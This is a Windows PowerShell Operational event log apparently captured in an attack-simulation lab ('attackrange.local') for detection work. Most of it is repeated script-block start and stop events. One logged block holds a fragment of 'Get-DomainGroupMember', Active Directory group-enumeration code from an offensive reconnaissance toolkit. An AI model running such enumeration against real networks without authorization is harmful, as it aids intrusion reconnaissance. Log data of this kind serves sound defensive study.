Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051294
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051292
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051290
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051288
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051286
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051284
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051282
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051280
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051278
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051276
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051274
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051272
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051270
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051268
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051266
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051264
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051262
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051260
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051258
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051256
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051254
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051253
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{$_; "NOT_$_"}

ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Path:
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051252
Keywords=None
Message=Completed invocation of ScriptBlock ID: de40bbcd-0f28-4b5b-9e7d-72e3559a2d6a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051251
Keywords=None
Message=Started invocation of ScriptBlock ID: de40bbcd-0f28-4b5b-9e7d-72e3559a2d6a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051250
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{
                    $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
                    if ($IdentityInstance -match '^S-1-') {
                        $IdentityFilter += "(objectsid=$IdentityInstance)"
                    }
                    elseif ($IdentityInstance -match '^CN=') {
                        $IdentityFilter += "(distinguishedname=$IdentityInstance)"
                        if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
                            # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
                            #   and rebuild the domain searcher
                            $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
                            Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
                            $SearcherArguments['Domain'] = $IdentityDomain
                            $GroupSearcher = Get-DomainSearcher @SearcherArguments
                            if (-not $GroupSearcher) {
                                Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
                            }
                        }
                    }
                    elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
                        $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
                        $IdentityFilter += "(objectguid=$GuidByteString)"
                    }
                    elseif ($IdentityInstance.Contains('\')) {
                        $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
                        if ($ConvertedIdentityInstance) {
                            $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
                            $GroupName = $IdentityInstance.Split('\')[1]
                            $IdentityFilter += "(samAccountName=$GroupName)"
                            $SearcherArguments['Domain'] = $GroupDomain
                            Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
                            $GroupSearcher = Get-DomainSearcher @SearcherArguments
                        }
                    }
                    else {
                        $IdentityFilter += "(samAccountName=$IdentityInstance)"
                    }
                }

ScriptBlock ID: de40bbcd-0f28-4b5b-9e7d-72e3559a2d6a
Path:
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 0c412196-ed35-47c2-87fb-b54aad3da58a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051248
Keywords=None
Message=Started invocation of ScriptBlock ID: 0c412196-ed35-47c2-87fb-b54aad3da58a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051247
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{$_}

ScriptBlock ID: 0c412196-ed35-47c2-87fb-b54aad3da58a
Path:
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051246
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051245
Keywords=None
